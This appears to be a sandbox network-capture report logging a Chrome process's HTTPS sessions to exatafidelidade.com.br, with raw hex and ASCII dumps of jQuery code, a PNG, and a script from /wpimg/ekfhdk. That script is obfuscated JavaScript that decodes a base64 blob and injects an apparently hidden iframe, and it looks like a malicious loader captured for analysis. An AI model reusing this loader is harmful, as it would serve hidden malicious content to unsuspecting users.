2024-05-07 14:12:11 UTC	1378	IN	Data Raw: 65 2e 64 69 73 61 62 6c 65 64 3d 3d 3d 61 3a 62 2e 64 69 73 61 62 6c 65 64 3d 3d 3d 61 3a 62 2e 69 73 44 69 73 61 62 6c 65 64 3d 3d 3d 61 7c 7c 62 2e 69 73 44 69 73 61 62 6c 65 64 21 3d 3d 21 61 26 26 65 61 28 62 29 3d 3d 3d 61 3a 62 2e 64 69 73 61 62 6c 65 64 3d 3d 3d 61 3a 22 6c 61 62 65 6c 22 69 6e 20 62 26 26 62 2e 64 69 73 61 62 6c 65 64 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 70 61 28 61 29 7b 72 65 74 75 72 6e 20 69 61 28 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 20 62 3d 2b 62 2c 69 61 28 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 76 61 72 20 65 2c 66 3d 61 28 5b 5d 2c 63 2e 6c 65 6e 67 74 68 2c 62 29 2c 67 3d 66 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 67 2d 2d 29 63 5b 65 3d 66 5b 67 5d 5d 26 26 28 63 5b 65 5d 3d 21 28 64 5b 65 Data Ascii: e.disabled===a:b.disabled===a:b.isDisabled===a\|\|b.isDisabled!==!a&&ea(b)===a:b.disabled===a:"label"in b&&b.disabled===a}}function pa(a){return ia(function(b){return b=+b,ia(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e
2024-05-07 14:12:11 UTC	1378	IN	Data Raw: 6e 20 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 63 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 26 26 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 3b 72 65 74 75 72 6e 20 63 26 26 63 2e 76 61 6c 75 65 3d 3d 3d 62 7d 7d 2c 64 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 70 29 7b 76 61 72 20 63 2c 64 2c 65 2c 66 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 61 29 3b 69 66 28 66 29 7b 69 66 28 63 3d 66 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 2c 63 26 26 63 2e 76 61 6c 75 65 Data Ascii: n function(a){var c="undefined"!=typeof a.getAttributeNode&&a.getAttributeNode("id");return c&&c.value===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c,d,e,f=b.getElementById(a);if(f){if(c=f.getAttributeNode("id"),c&&c.value
2024-05-07 14:12:11 UTC	1378	IN	Data Raw: 62 6c 65 64 3d 27 64 69 73 61 62 6c 65 64 27 3e 3c 2f 61 3e 3c 73 65 6c 65 63 74 20 64 69 73 61 62 6c 65 64 3d 27 64 69 73 61 62 6c 65 64 27 3e 3c 6f 70 74 69 6f 6e 2f 3e 3c 2f 73 65 6c 65 63 74 3e 22 3b 76 61 72 20 62 3d 6e 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 6e 70 75 74 22 29 3b 62 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 79 70 65 22 2c 22 68 69 64 64 65 6e 22 29 2c 61 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 62 29 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 6e 61 6d 65 22 2c 22 44 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 6e 61 6d 65 3d 64 5d 22 29 2e 6c 65 6e 67 74 68 26 26 71 2e 70 75 73 68 28 22 6e 61 6d 65 22 2b 4b 2b 22 2a 5b 2a 5e 24 7c 21 7e 5d 3f 3d 22 29 2c 32 21 3d 3d 61 2e 71 75 65 72 79 53 Data Ascii: bled='disabled'></a><select disabled='disabled'><option/></select>";var b=n.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+K+"[^$\|!~]?="),2!==a.queryS
2024-05-07 14:12:11 UTC	1378	IN	Data Raw: 44 6f 63 75 6d 65 6e 74 3d 3d 3d 76 26 26 74 28 76 2c 62 29 3f 31 3a 6b 3f 49 28 6b 2c 61 29 2d 49 28 6b 2c 62 29 3a 30 3a 34 26 64 3f 2d 31 3a 31 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 61 3d 3d 3d 62 29 72 65 74 75 72 6e 20 6c 3d 21 30 2c 30 3b 76 61 72 20 63 2c 64 3d 30 2c 65 3d 61 2e 70 61 72 65 6e 74 4e 6f 64 65 2c 66 3d 62 2e 70 61 72 65 6e 74 4e 6f 64 65 2c 67 3d 5b 61 5d 2c 68 3d 5b 62 5d 3b 69 66 28 21 65 7c 7c 21 66 29 72 65 74 75 72 6e 20 61 3d 3d 3d 6e 3f 2d 31 3a 62 3d 3d 3d 6e 3f 31 3a 65 3f 2d 31 3a 66 3f 31 3a 6b 3f 49 28 6b 2c 61 29 2d 49 28 6b 2c 62 29 3a 30 3b 69 66 28 65 3d 3d 3d 66 29 72 65 74 75 72 6e 20 6c 61 28 61 2c 62 29 3b 63 3d 61 3b 77 68 69 6c 65 28 63 3d 63 2e 70 61 72 65 6e 74 4e 6f 64 65 29 67 2e 75 6e Data Ascii: Document===v&&t(v,b)?1:k?I(k,a)-I(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,e=a.parentNode,f=b.parentNode,g=[a],h=[b];if(!e\|\|!f)return a===n?-1:b===n?1:e?-1:f?1:k?I(k,a)-I(k,b):0;if(e===f)return la(a,b);c=a;while(c=c.parentNode)g.un

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49711	172.67.135.164	443	6856	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 14:12:11 UTC	563	OUT	GET /wpimg/dhdfjdf.png HTTP/1.1 Host: exatafidelidade.com.br Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 14:12:11 UTC	724	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 14:12:11 GMT Content-Type: image/png Content-Length: 708456 Connection: close Cache-Control: public, max-age=315576 expires: Fri, 10 May 2024 05:57:42 GMT last-modified: Mon, 06 May 2024 09:27:28 GMT alt-svc: h3=":443"; ma=86400 CF-Cache-Status: HIT Age: 86044 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1T2lYDIh1ozkvVZPvV%2FamyXkKc79j1FhXLgFEFORZh2DxCt0lc42z7GwlesKjdtk%2BslF43e4Y4%2FXIxCU5tJy9QE%2BtIRmiW68jSlC54tNGzWhFzxB9gOUe%2Bfr%2BIuSH8dTqiPanigvAy%2Bu"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8801cdb53f6a1875-EWR
2024-05-07 14:12:11 UTC	645	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 05 82 00 00 03 41 08 02 00 00 00 d2 a2 5d 6f 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 06 be 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 36 2e 30 2d 63 30 30 32 20 37 39 2e 31 36 34 34 36 30 2c 20 32 30 32 30 2f 30 35 2f 31 32 2d 31 36 3a 30 34 3a 31 37 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 Data Ascii: PNGIHDRA]opHYs+iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164460, 2020/05/12-16:04:17 "> <rdf:RD
2024-05-07 14:12:11 UTC	1369	IN	Data Raw: 72 65 61 74 65 44 61 74 65 3d 22 32 30 32 34 2d 30 34 2d 32 39 54 31 32 3a 34 34 3a 34 33 2d 30 37 3a 30 30 22 20 78 6d 70 3a 4d 6f 64 69 66 79 44 61 74 65 3d 22 32 30 32 34 2d 30 35 2d 30 35 54 30 35 3a 34 34 3a 33 31 2d 30 37 3a 30 30 22 20 78 6d 70 3a 4d 65 74 61 64 61 74 61 44 61 74 65 3d 22 32 30 32 34 2d 30 35 2d 30 35 54 30 35 3a 34 34 3a 33 31 2d 30 37 3a 30 30 22 20 64 63 3a 66 6f 72 6d 61 74 3d 22 69 6d 61 67 65 2f 70 6e 67 22 20 70 68 6f 74 6f 73 68 6f 70 3a 43 6f 6c 6f 72 4d 6f 64 65 3d 22 33 22 20 70 68 6f 74 6f 73 68 6f 70 3a 49 43 43 50 72 6f 66 69 6c 65 3d 22 73 52 47 42 20 49 45 43 36 31 39 36 36 2d 32 2e 31 22 20 78 6d 70 4d 4d 3a 49 6e 73 74 61 6e 63 65 49 44 3d 22 78 6d 70 2e 69 69 64 3a 39 32 31 62 62 38 61 30 2d 38 33 37 36 2d 39 62 Data Ascii: reateDate="2024-04-29T12:44:43-07:00" xmp:ModifyDate="2024-05-05T05:44:31-07:00" xmp:MetadataDate="2024-05-05T05:44:31-07:00" dc:format="image/png" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1" xmpMM:InstanceID="xmp.iid:921bb8a0-8376-9b
2024-05-07 14:12:11 UTC	1369	IN	Data Raw: fb 8e 80 40 08 4c 2c 8c 90 c0 18 09 89 99 93 20 13 e2 b8 f0 c0 81 6f 41 cc ec 7b 3f f3 32 95 0f 1c 38 70 e0 c0 81 03 57 03 22 32 73 4a 09 00 54 b5 5b af 0e 1c 38 70 e0 ed 08 c7 87 d8 52 c2 0f 22 7e 7f ec 2a 7f 41 20 74 0d ce d1 09 10 85 10 c5 99 c0 1d 10 88 99 98 89 09 8e 49 72 e0 d5 90 b5 95 ef f6 b0 f0 d0 c1 b0 d6 c4 4f 07 1f 71 e0 c0 81 03 07 0e 5c 05 ee d0 99 08 02 10 66 32 bb 98 35 8f e3 f6 c0 81 03 af 41 df 2e 10 01 80 08 c3 1f a2 73 10 87 72 f9 57 45 44 67 c4 cf 88 00 88 c4 0c 84 31 5d 10 09 e9 98 21 07 de 06 f9 d7 ed 6f df e9 51 08 04 48 44 42 2c 2c 42 cc dd bf eb 10 8d 0e 1c 38 70 e0 c0 81 ab a0 33 11 44 8c 48 44 be fd f2 c0 81 03 07 de 82 e0 22 70 4b 06 e1 6e 0e 08 87 9a 79 c0 7d 58 92 09 76 9a 9c 07 09 71 cc 90 03 af 83 fc bf ff fb ff f2 7d 9e Data Ascii: @L, oA{?28pW"2sJT[8pR"~*A tIrOq\f25A.srWEDg1]!oQHDB,,B8p3DHD"pKny}Xvq}
2024-05-07 14:12:11 UTC	1369	IN	Data Raw: fb 03 17 89 c4 dc a3 66 07 f5 f4 98 df dd 0f 65 0c 9a 20 46 d3 99 89 89 10 37 aa 09 01 91 b6 56 35 d3 a6 aa a6 e6 d6 c3 2a 3e 9f 8f 78 2c 93 ed 7f bf 4b 70 f9 b6 91 0b d1 ef 3b 98 37 1f 6a 2f d0 2b 94 5e eb 9e 00 10 ca c6 d5 f3 6b 84 2e 6d e6 aa 6a aa b6 d3 6d 98 f9 c9 27 e2 a3 21 7d 0e f1 c5 4d 33 d9 bf df 97 3b 72 ef a3 67 1e f6 60 f9 c1 77 19 b1 7b c3 65 66 66 f1 a0 0d 1f 7f c4 b6 b7 6d 3a a7 99 c5 db 41 22 66 72 e7 6f 3e e8 f3 26 89 aa ba f7 00 af 7d c7 ef 8d 73 7c e1 d1 bb 78 d0 b0 cf a0 6c ee b7 d3 dd 1d 21 36 60 62 7e 76 dc b6 29 ed 1e 3b bd 99 59 e4 13 c2 e8 da 53 5f 19 4f fc c4 2d 65 9b 63 1b e3 e3 3e 7a 67 e6 e0 44 2c 22 d1 b5 57 4e f5 cf 52 74 dd bd 53 24 66 e6 00 40 88 b8 6b d5 6e 90 9f 5e a7 57 69 c0 37 ef fc 49 dd 7f d3 11 b6 bd dc 97 d7 f5 Data Ascii: fe F7V5*>x,Kp;7j/+^k.mjm'!}M3;rg`w{effm:A"fro>&}s\|xl!6`b~v);YS_O-ec>zgD,"WNRtS$f@kn^Wi7I
2024-05-07 14:12:11 UTC	1369	IN	Data Raw: a7 3d 13 b4 5b af b0 3f 84 f7 ed fc 8c 3d 50 b5 95 52 96 75 ad a5 38 40 ce 29 e7 29 a5 c4 dc c9 d3 87 eb b4 35 16 49 29 dd 5f a4 3e d6 ce 37 b6 f7 b1 03 f4 4b 9e 9a 75 f7 ee 8c 9f b3 ff c3 db 8f b0 6d a2 c6 fb 15 91 9c 53 92 70 cc 64 bc bf 3a ae db d4 03 07 0e 1c 38 70 e0 33 60 66 4d db 52 d6 df d7 bb db e5 ae 99 02 0c ed 1c 60 33 66 0b 71 9b 35 1c 4e e3 68 2f ad 9e eb ba d6 b5 b4 ea ee 88 24 cc 93 24 95 2c 2c 43 d2 ed da 14 6c 14 7f e8 4f 00 30 e8 83 ed b2 ae 7a 74 05 eb 89 6b 88 3a 03 e2 8f b5 b0 1e 4c b2 d3 d2 dd 9b 69 69 75 a9 c5 dc c2 9c 9f 58 78 08 5d 9b 2f 03 8d ec 07 0f 46 e6 0d 9a b3 bb 03 84 5b 69 54 d9 58 5b 39 97 f5 ae 2c e7 b2 54 6d 84 74 4a 53 9b 74 dc 99 dd bd b4 7a 2e cb ed ba ac ad 98 fb e6 c4 5b 5b 5b 5a 11 e2 9b 7c fa 32 cd a7 3c 67 c9 Data Ascii: =[?=PRu8@))5I)_>7KumSpd:8p3`fMR`3fq5Nh/$$,,ClO0ztk:LiiuXx]/F[iTX[9,TmtJStz.[[[Z\|2<g
2024-05-07 14:12:11 UTC	1369	IN	Data Raw: 50 6d aa 9d f5 20 c2 f0 62 0e 55 30 74 ad da da f9 ee ee bc 2c cb b2 d4 52 4e 37 27 04 48 29 6f c6 d8 6b 0d d7 c5 43 61 59 cd 2c 25 11 11 6d 5a b0 82 17 1d 9e 1d db 14 75 f7 5a 5b f0 55 61 e0 6d ad ed 69 dc 4e 40 10 45 cc 45 ec 05 c1 fe a8 ea ba 2c 6b 29 65 5d 97 65 c9 da 4c b5 48 dd fc b6 89 49 24 11 62 1f 76 a2 94 d3 3c c3 50 45 af d3 f1 6d 86 d7 5a 4b 2d da 95 73 6f da 74 89 37 a3 25 65 1c 5c 78 77 cc 6f 1a 34 c4 34 4d a7 7a 6a 73 8b 97 1e 81 70 29 a5 d3 e9 26 9a ba 11 b1 57 69 67 bc 9d 65 39 97 52 dd 1d 09 b5 35 33 23 c4 d6 da 46 1f 40 1c 69 22 d4 f7 48 06 f7 68 ba a9 a9 2a 0b 13 71 df 54 bd 9b e8 25 78 22 44 22 8c 34 08 30 dc 4f 92 48 9e a6 9c f3 d5 ba d3 99 88 f5 ee f6 0e 00 c2 81 68 5d d7 f3 f9 1c 9e ff 11 99 e8 e6 8b 2c b1 db 00 00 02 6e 59 5d 88 Data Ascii: Pm bU0t,RN7'H)okCaY,%mZuZ[UamiN@EE,k)e]eLHI$bv<PEmZK-sot7%e\xwo44Mzjsp)&Wige9R53#F@i"Hh*qT%x"D"40OHh],nY]
2024-05-07 14:12:11 UTC	1369	IN	Data Raw: d6 62 ee 61 c9 07 08 df 76 58 6b f9 7d b9 6b d6 4a ab 6b ab 89 25 44 88 2c e9 cb 74 72 77 26 16 22 26 86 47 01 0b af 1b 3a 00 77 75 af 5a 83 3e 58 6b 89 58 8c 48 fa 60 dd eb 19 a3 10 49 f7 48 ef 29 2c ad 45 7e 8d d6 c2 19 24 64 c2 d2 ca 5d 59 d4 74 6d 65 ad eb 6d 39 7f 59 4f 5f a6 1b 26 ae 5a 97 5a d6 56 42 f9 4a 2c 88 58 5b 45 44 21 11 96 18 9c aa d5 dd 85 f8 94 e7 7f 7c f9 1b 22 32 0d 2f 90 7b 6d 77 33 ab d6 96 ba 2e 75 2d da fa e0 44 1e 10 04 44 14 ec d6 53 16 16 02 64 33 46 72 66 46 9e 24 07 7b 34 a7 cc 44 e6 16 d7 34 d3 b5 15 42 5c ca 7a 2e cb 4a 8c d8 f0 13 ca 66 44 76 fa 10 e3 c2 8c d6 65 b8 5a d6 65 11 49 55 d8 bb 41 6f 18 94 dc 89 d9 54 43 f3 0f 37 57 33 1b 01 dd 0c 00 92 04 1c 4a 59 5b 53 22 14 49 ee 3e e5 a9 4d 93 a5 e4 d7 35 92 07 0f d4 aa a9 Data Ascii: bavXk}kJk%D,trw&"&G:wuZ>XkXH`IH),E~$d]Ytmem9YO_&ZZVBJ,X[ED!\|"2/{mw3.u-DDSd3FrfF${4D4B\z.JfDveZeIUAoTC7W3JY[S"I>M5
2024-05-07 14:12:11 UTC	1369	IN	Data Raw: 48 46 00 00 ad 35 00 df e8 0c 33 03 87 79 9a fd 7a ba 7d 9c 31 51 41 81 88 82 ec 0b 5d 3d 7e 63 ad 33 3b ee 1e be 06 5b 5d 18 52 8e e6 41 b8 9f a8 02 60 12 69 ad ba fb 97 2f 5f 82 23 80 eb 39 02 98 59 ab b5 94 5a d6 b5 3b 04 b9 d5 da 96 75 09 cf a0 da aa b0 00 42 38 2f a8 5a 04 6a c6 2d a2 91 88 fd 4c 0b 52 e3 c5 ed dd 2c c8 2f a4 f0 7d 58 f7 b3 0e b7 fc 0b a6 66 eb b2 aa 2a f7 f0 a8 4f db ff 9f 3b c2 6a 59 d7 95 99 a0 4f 9b c8 cd 21 c6 12 74 8b 59 44 ea 41 6b ca cc 61 4a 32 b5 8a b5 d5 da 9a 5e dd 03 ee c0 81 03 07 0e 1c b8 3a a2 48 44 a8 a6 cd b4 59 04 5f 34 42 0e d2 a1 aa 6a 37 13 86 39 1d ad b3 15 aa 66 89 21 92 8e 31 51 64 91 88 38 82 16 56 73 f7 a2 b5 6a 43 44 73 5b 4a 41 84 c4 d2 cd 5d 08 46 06 0e 6a aa a6 cd 9a 3b ac b5 60 77 0b dd ae 71 1f 69 17 Data Ascii: HF53yz}1QA]=~c3;[]RA`i/_#9YZ;uB8/Zj-LR,/}Xf*O;jYO!tYDAkaJ2^:HDY_4Bj79f!1Qd8VsjCDs[JA]Fj;`wqi
2024-05-07 14:12:11 UTC	1369	IN	Data Raw: 8a 7b 8c 33 c5 0a 34 33 08 5b 34 80 59 e8 36 bd 3c ca 56 b0 e0 ea e8 ce f9 22 d3 34 31 f1 34 4d 29 27 04 04 40 2e 02 a0 38 aa 75 46 8e 92 c8 ee 9b f3 34 e5 29 62 6d 72 cb b1 eb 86 c7 f8 65 c6 9a 45 f2 88 c8 a0 e0 a1 ac 83 13 8c aa 18 5b 66 4a 22 11 36 a3 a8 46 19 d9 3a c3 93 65 73 c9 b9 6e 50 46 e7 d7 00 00 40 cd b0 35 42 0a de 77 57 dd a3 b3 2d 00 80 44 51 92 20 a8 2b 00 37 87 c8 53 c8 cc c1 13 21 8d e2 cd d7 db 54 46 e8 84 4c f3 9c cd e2 fe 23 95 86 33 f5 22 11 91 59 60 ca 53 9e 32 b8 23 96 5a 8b 3b b0 70 a7 9c bb b9 3e 1c 25 20 b6 a6 94 73 92 14 14 4c ad 31 b6 84 08 61 df e6 51 26 e3 5a 4c 44 4c fe 9c f2 94 a7 94 53 29 2b 00 a4 94 a6 69 62 16 44 2a b5 20 42 d7 bd 59 f2 34 4d 53 0e 45 3d 0c 0e 2b 14 50 08 42 26 56 59 8a 44 3b 57 25 e9 86 4f 90 a9 9a 9b Data Ascii: {343[4Y6<V"414M)'@.8uF4)bmreE[fJ"6F:esnPF@5BwW-DQ +7S!TFL#3"Y`S2#Z;p>% sL1aQ&ZLDLS)+ibD* BY4MSE=+PB&VYD;W%O
2024-05-07 14:12:11 UTC	1369	IN	Data Raw: 5d 2a fd e8 72 b0 0f 4c f4 65 ba f9 32 9d 08 51 48 1c bc b4 ca c8 73 9a 6e f2 3c a7 9c 46 1d 93 87 dd 44 20 20 21 81 04 44 34 49 1e 39 41 39 b1 08 09 21 49 84 63 9c cb 02 00 91 36 b3 a9 72 d7 7f 20 c2 60 12 8b 99 22 52 16 61 62 33 5b 5a 59 6b 29 a3 40 ab 5f 98 9a ab 61 53 44 e7 69 02 77 de 8a ae 9b a5 9c a2 d6 80 99 45 88 05 6c 29 be 98 c3 77 40 55 23 f9 1f 8c 18 69 24 32 b3 9c b2 03 98 e9 5c 6a 44 76 e4 3c e5 9c 23 bb de 15 8d 81 17 bb 65 9e 6e 6e 9a 77 d3 97 0d ed cb 6b ad 21 8b b7 a6 4c ea e2 80 e1 1a 04 51 08 03 82 88 ca 29 a5 44 48 ee 96 f2 24 22 00 de b8 45 8a 51 66 be ae e8 bc 6b 3c a7 d4 13 b3 13 73 a8 b5 e1 47 1d 19 47 10 49 92 b8 85 6b 49 26 a6 88 03 0f 2f 68 77 17 0e 8a 67 8e 55 13 f4 41 ee dc 62 64 15 ed 55 09 72 4e ad 69 04 6e 20 21 8f 1a 22 Data Ascii: ]*rLe2QHsn<FD !D4I9A9!Ic6r `"Rab3[ZYk)@_aSDiwEl)w@U#i$2\jDv<#ennwk!LQ)DH$"EQfk<sGGIkI&/hwgUAbdUrNin !"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49712	172.67.135.164	443	6856	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 14:12:11 UTC	514	OUT	GET /wpimg/ekfhdk?_=1715091130790 HTTP/1.1 Host: exatafidelidade.com.br Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 14:12:12 UTC	635	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 14:12:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding alt-svc: h3=":443"; ma=86400 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QgJ10aYxCHb1NzndyIqhTDcLBR14L3eh0sHFl126pqz8%2FVtkpYHvDCE3zOI5BeMs7yi92v8D1r2Z4S5h4n0dz68hU1ko0INM8l%2F6%2F5EjzwU8HEE0u0koJzcLi6g9hxAH1kUCvekrl7Ww"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8801cdb6fb0a4375-EWR
2024-05-07 14:12:12 UTC	734	IN	Data Raw: 36 35 37 31 0d 0a 0a 76 61 72 20 5f 30 78 31 32 35 30 63 34 3d 5f 30 78 35 64 30 38 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 30 78 32 34 61 36 61 63 2c 5f 30 78 33 64 64 35 34 37 29 7b 76 61 72 20 5f 30 78 63 31 35 65 62 37 3d 5f 30 78 35 64 30 38 2c 5f 30 78 33 35 37 36 34 32 3d 5f 30 78 32 34 61 36 61 63 28 29 3b 77 68 69 6c 65 28 21 21 5b 5d 29 7b 74 72 79 7b 76 61 72 20 5f 30 78 33 61 35 61 64 33 3d 70 61 72 73 65 49 6e 74 28 5f 30 78 63 31 35 65 62 37 28 30 78 62 34 29 29 2f 30 78 31 2a 28 70 61 72 73 65 49 6e 74 28 5f 30 78 63 31 35 65 62 37 28 30 78 63 63 29 29 2f 30 78 32 29 2b 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 63 31 35 65 62 37 28 30 78 63 61 29 29 2f 30 78 33 2a 28 70 61 72 73 65 49 6e 74 28 5f 30 78 63 31 35 65 62 37 28 30 78 61 65 29 29 2f 30 Data Ascii: 6571var _0x1250c4=_0x5d08;(function(_0x24a6ac,_0x3dd547){var _0xc15eb7=_0x5d08,_0x357642=_0x24a6ac();while(!![]){try{var _0x3a5ad3=parseInt(_0xc15eb7(0xb4))/0x1(parseInt(_0xc15eb7(0xcc))/0x2)+-parseInt(_0xc15eb7(0xca))/0x3(parseInt(_0xc15eb7(0xae))/0
2024-05-07 14:12:12 UTC	1369	IN	Data Raw: 61 74 6f 62 28 66 62 75 29 2c 69 66 72 61 6d 65 3d 64 6f 63 75 6d 65 6e 74 5b 27 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 27 5d 28 27 69 66 72 61 6d 65 27 29 3b 69 66 72 61 6d 65 5b 5f 30 78 31 32 35 30 63 34 28 30 78 63 66 29 5d 5b 5f 30 78 31 32 35 30 63 34 28 30 78 62 64 29 5d 3d 5f 30 78 31 32 35 30 63 34 28 30 78 62 63 29 2c 69 66 72 61 6d 65 5b 5f 30 78 31 32 35 30 63 34 28 30 78 63 66 29 5d 5b 27 74 6f 70 27 5d 3d 27 30 27 2c 69 66 72 61 6d 65 5b 5f 30 78 31 32 35 30 63 34 28 30 78 63 66 29 5d 5b 5f 30 78 31 32 35 30 63 34 28 30 78 63 36 29 5d 3d 27 30 27 2c 69 66 72 61 6d 65 5b 5f 30 78 31 32 35 30 63 34 28 30 78 63 66 29 5d 5b 5f 30 78 31 32 35 30 63 34 28 30 78 61 64 29 5d 3d 5f 30 78 31 32 35 30 63 34 28 30 78 61 38 29 2c 69 66 72 61 6d 65 5b 27 Data Ascii: atob(fbu),iframe=document['createElement']('iframe');iframe[_0x1250c4(0xcf)][_0x1250c4(0xbd)]=_0x1250c4(0xbc),iframe[_0x1250c4(0xcf)]['top']='0',iframe[_0x1250c4(0xcf)][_0x1250c4(0xc6)]='0',iframe[_0x1250c4(0xcf)][_0x1250c4(0xad)]=_0x1250c4(0xa8),iframe['
2024-05-07 14:12:12 UTC	1369	IN	Data Raw: 69 49 69 49 69 49 41 41 41 41 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 79 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 41 41 41 41 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 67 41 41 41 44 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 Data Ascii: iIiIiIAAAAzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMyIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiAAAAMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIgAAADMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIi
